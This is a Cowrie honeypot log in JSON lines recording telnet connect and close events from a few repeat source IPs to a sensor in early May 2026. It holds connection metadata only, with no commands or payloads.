{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7fe52be779b","protocol":"telnet","message":"New connection: 207.244.241.37:44350 (159.203.135.109:23) [session: c7fe52be779b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.478198Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45996,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe4e9038bd4","protocol":"telnet","message":"New connection: 207.244.241.37:45996 (159.203.135.109:23) [session: 2fe4e9038bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.504081Z"}
{"eventid":"cowrie.session.closed","duration":30.8966166973114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.730293Z","src_ip":"216.10.244.42","session":"e249f5f25205","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51666,"dst_ip":"159.203.135.109","dst_port":23,"session":"930041c6c580","protocol":"telnet","message":"New connection: 216.10.244.42:51666 (159.203.135.109:23) [session: 930041c6c580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.814135Z"}
{"eventid":"cowrie.session.closed","duration":31.251553058624268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:29.935400Z","src_ip":"216.10.244.42","session":"a849efc285eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"99b359fc600a","protocol":"telnet","message":"New connection: 216.10.244.42:51886 (159.203.135.109:23) [session: 99b359fc600a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:30.108271Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":48831,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d69507e054","protocol":"telnet","message":"New connection: 207.244.241.37:48831 (159.203.135.109:23) [session: a4d69507e054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:31.215337Z"}
{"eventid":"cowrie.session.closed","duration":32.200709104537964,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:31.387213Z","src_ip":"216.10.244.42","session":"63de8aa009d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374961376190186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:31.505345Z","src_ip":"216.10.244.42","session":"6de7b375882e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.411882877349854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:32.233430Z","src_ip":"207.244.241.37","session":"fd05bbd64a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":48828,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a3861a66324","protocol":"telnet","message":"New connection: 207.244.241.37:48828 (159.203.135.109:23) [session: 2a3861a66324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:32.237673Z"}
{"eventid":"cowrie.session.closed","duration":30.804805517196655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:32.326867Z","src_ip":"207.244.241.37","session":"9b743a928496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47055745124817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:33.392326Z","src_ip":"216.10.244.42","session":"358dab77c6d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.475247383117676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:33.906885Z","src_ip":"216.10.244.42","session":"023212f9d8a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":55366,"dst_ip":"159.203.135.109","dst_port":23,"session":"e29e29adab94","protocol":"telnet","message":"New connection: 216.10.244.42:55366 (159.203.135.109:23) [session: e29e29adab94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:34.041729Z"}
{"eventid":"cowrie.session.closed","duration":30.438101053237915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:34.403811Z","src_ip":"216.10.244.42","session":"87aadadfd59b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991868019104004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:34.504375Z","src_ip":"207.244.241.37","session":"cdb3d00fcb92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102689266204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:36.320284Z","src_ip":"207.244.241.37","session":"1b355cfa4d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":57734,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be2ee89af33","protocol":"telnet","message":"New connection: 216.10.244.42:57734 (159.203.135.109:23) [session: 3be2ee89af33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:36.639248Z"}
{"eventid":"cowrie.session.closed","duration":30.862947940826416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:37.842599Z","src_ip":"216.10.244.42","session":"ba9b61cf887b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc54a8204c0","protocol":"telnet","message":"New connection: 207.244.241.37:60846 (159.203.135.109:23) [session: 3dc54a8204c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:38.351472Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":59106,"dst_ip":"159.203.135.109","dst_port":23,"session":"07ca8262765d","protocol":"telnet","message":"New connection: 216.10.244.42:59106 (159.203.135.109:23) [session: 07ca8262765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:39.376624Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":35644,"dst_ip":"159.203.135.109","dst_port":23,"session":"271b23fbd67a","protocol":"telnet","message":"New connection: 207.244.241.37:35644 (159.203.135.109:23) [session: 271b23fbd67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:40.039837Z"}
{"eventid":"cowrie.session.closed","duration":30.41433596611023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:40.542228Z","src_ip":"216.10.244.42","session":"7d3ae497502c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515153884887695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:42.094837Z","src_ip":"207.244.241.37","session":"42e63e6f9eff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.888788938522339,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:42.206450Z","src_ip":"190.198.35.12","session":"44801d95519f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642485857009888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:42.565821Z","src_ip":"216.10.244.42","session":"0028de42891c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.036638021469116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:42.754109Z","src_ip":"216.10.244.42","session":"0fd494002957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063188076019287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:42.932951Z","src_ip":"216.10.244.42","session":"c647029e08e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53396,"dst_ip":"10.17.0.5","dst_port":23,"session":"04fd80af6680","protocol":"telnet","message":"New connection: 188.208.141.113:53396 (10.17.0.5:23) [session: 04fd80af6680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:43.636663Z"}
{"eventid":"cowrie.session.closed","duration":31.5573947429657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:43.721510Z","src_ip":"216.10.244.42","session":"d6352a7736e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40037226676941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:44.474844Z","src_ip":"216.10.244.42","session":"d672d255be01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":35162,"dst_ip":"159.203.135.109","dst_port":23,"session":"a26fd38b695b","protocol":"telnet","message":"New connection: 216.10.244.42:35162 (159.203.135.109:23) [session: a26fd38b695b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:44.781749Z"}
{"eventid":"cowrie.session.closed","duration":31.428673028945923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:44.835426Z","src_ip":"216.10.244.42","session":"3cd6ce245b87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55703568458557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:45.387069Z","src_ip":"216.10.244.42","session":"909064d69497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.93978404998779,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:45.765827Z","src_ip":"206.189.32.23","session":"b242542a4294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.50016403198242,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:45.985415Z","src_ip":"188.208.141.113","session":"733af5328fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.4041531085968,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:46.070669Z","src_ip":"188.208.141.113","session":"5bce4eb55b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.035885810852051,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:46.672362Z","src_ip":"188.208.141.113","session":"04fd80af6680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":37656,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af3b0ea3cd1","protocol":"telnet","message":"New connection: 216.10.244.42:37656 (159.203.135.109:23) [session: 2af3b0ea3cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:46.775826Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"76cd718c9a2b","protocol":"telnet","message":"New connection: 216.10.244.42:37682 (159.203.135.109:23) [session: 76cd718c9a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:46.795484Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":38108,"dst_ip":"159.203.135.109","dst_port":23,"session":"20e84ecc5b5c","protocol":"telnet","message":"New connection: 216.10.244.42:38108 (159.203.135.109:23) [session: 20e84ecc5b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:47.372044Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"86c16fbabc39","protocol":"telnet","message":"New connection: 216.10.244.42:36946 (159.203.135.109:23) [session: 86c16fbabc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:48.129234Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53406,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b45e74d465","protocol":"telnet","message":"New connection: 188.208.141.113:53406 (10.17.0.5:23) [session: c1b45e74d465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:48.584272Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"1efcba58227b","protocol":"telnet","message":"New connection: 216.10.244.42:39464 (159.203.135.109:23) [session: 1efcba58227b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:48.827153Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53416,"dst_ip":"10.17.0.5","dst_port":23,"session":"89217686424f","protocol":"telnet","message":"New connection: 188.208.141.113:53416 (10.17.0.5:23) [session: 89217686424f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:48.976740Z"}
{"eventid":"cowrie.session.closed","duration":30.447137117385864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:49.431235Z","src_ip":"216.10.244.42","session":"ce7b1f4577aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.462268114089966,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:49.534665Z","src_ip":"188.208.141.113","session":"15c9d22ed647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":39296,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00d879d714b","protocol":"telnet","message":"New connection: 216.10.244.42:39296 (159.203.135.109:23) [session: f00d879d714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:49.631454Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":51742,"dst_ip":"159.203.135.109","dst_port":23,"session":"412dce377f79","protocol":"telnet","message":"New connection: 207.244.241.37:51742 (159.203.135.109:23) [session: 412dce377f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:50.634748Z"}
{"eventid":"cowrie.session.closed","duration":30.526962757110596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:51.545521Z","src_ip":"216.10.244.42","session":"ecdef57678b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92344641685486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:51.701331Z","src_ip":"216.10.244.42","session":"4aa5601da954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c1069fcced","protocol":"telnet","message":"New connection: 207.244.241.37:54740 (159.203.135.109:23) [session: 01c1069fcced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:52.300736Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":42368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f72b1c162a1","protocol":"telnet","message":"New connection: 216.10.244.42:42368 (159.203.135.109:23) [session: 2f72b1c162a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:52.485683Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55100,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac3efac26c15","protocol":"telnet","message":"New connection: 207.244.241.37:55100 (159.203.135.109:23) [session: ac3efac26c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:52.518992Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":55542,"dst_ip":"159.203.135.109","dst_port":23,"session":"2323273c0084","protocol":"telnet","message":"New connection: 207.244.241.37:55542 (159.203.135.109:23) [session: 2323273c0084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:52.800560Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":54388,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3b9551dd090","protocol":"telnet","message":"New connection: 207.244.241.37:54388 (159.203.135.109:23) [session: f3b9551dd090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:53.080593Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"56829002c859","protocol":"telnet","message":"New connection: 207.244.241.37:50922 (159.203.135.109:23) [session: 56829002c859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:53.247042Z"}
{"eventid":"cowrie.session.closed","duration":31.13831901550293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:53.477692Z","src_ip":"216.10.244.42","session":"108ea54e41c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc50a65c2ef","protocol":"telnet","message":"New connection: 216.10.244.42:40992 (159.203.135.109:23) [session: bcc50a65c2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:53.674456Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":58124,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ea0228ca6c","protocol":"telnet","message":"New connection: 207.244.241.37:58124 (159.203.135.109:23) [session: 77ea0228ca6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:54.321461Z"}
{"eventid":"cowrie.session.closed","duration":30.484359979629517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:54.344753Z","src_ip":"207.244.241.37","session":"792abde177b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19552755355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:54.386421Z","src_ip":"216.10.244.42","session":"86822a172d2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47520,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d844c444878","protocol":"telnet","message":"New connection: 216.10.244.42:47520 (159.203.135.109:23) [session: 7d844c444878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:55.532014Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60488,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3a2686939e","protocol":"telnet","message":"New connection: 207.244.241.37:60488 (159.203.135.109:23) [session: 8a3a2686939e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:55.633754Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":47842,"dst_ip":"159.203.135.109","dst_port":23,"session":"6abcfb89cc81","protocol":"telnet","message":"New connection: 216.10.244.42:47842 (159.203.135.109:23) [session: 6abcfb89cc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:55.852528Z"}
{"eventid":"cowrie.session.closed","duration":31.24958348274231,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:56.422570Z","src_ip":"216.10.244.42","session":"9161a0b6a619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":33858,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ec309421bb","protocol":"telnet","message":"New connection: 207.244.241.37:33858 (159.203.135.109:23) [session: 88ec309421bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:56.680508Z"}
{"eventid":"cowrie.session.closed","duration":46.2166850566864,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:57.071430Z","src_ip":"188.208.141.113","session":"5504e1593c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187379360198975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:57.758512Z","src_ip":"216.10.244.42","session":"b41c66216bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":36068,"dst_ip":"159.203.135.109","dst_port":23,"session":"69b970c6333e","protocol":"telnet","message":"New connection: 207.244.241.37:36068 (159.203.135.109:23) [session: 69b970c6333e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:58.141747Z"}
{"eventid":"cowrie.session.closed","duration":30.779120922088623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:58.258220Z","src_ip":"207.244.241.37","session":"84600bb75a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":50702,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d41bf48652","protocol":"telnet","message":"New connection: 216.10.244.42:50702 (159.203.135.109:23) [session: 49d41bf48652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:58.363396Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":51090,"dst_ip":"159.203.135.109","dst_port":23,"session":"08fe814e8ba7","protocol":"telnet","message":"New connection: 216.10.244.42:51090 (159.203.135.109:23) [session: 08fe814e8ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:27:58.929799Z"}
{"eventid":"cowrie.session.closed","duration":30.56178879737854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.031933Z","src_ip":"207.244.241.37","session":"9f992712d2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69179916381836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.075888Z","src_ip":"207.244.241.37","session":"d4a7e532d53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92307949066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.401198Z","src_ip":"207.244.241.37","session":"c7fe52be779b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":49888,"dst_ip":"159.203.135.109","dst_port":23,"session":"1186f22e5202","protocol":"telnet","message":"New connection: 216.10.244.42:49888 (159.203.135.109:23) [session: 1186f22e5202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.455832Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.10.244.42","src_port":52012,"dst_ip":"159.203.135.109","dst_port":23,"session":"c327728a6dbd","protocol":"telnet","message":"New connection: 216.10.244.42:52012 (159.203.135.109:23) [session: c327728a6dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.665663Z"}
{"eventid":"cowrie.session.closed","duration":31.422052145004272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.686505Z","src_ip":"216.10.244.42","session":"23552cedb5e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642271995544434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:00.750381Z","src_ip":"216.10.244.42","session":"99b359fc600a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223284482955933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:01.037310Z","src_ip":"216.10.244.42","session":"930041c6c580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.679521083831787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:28:01.183450Z","src_ip":"207.244.241.37","session":"2fe4e9038bd4","protocol":"telnet"}
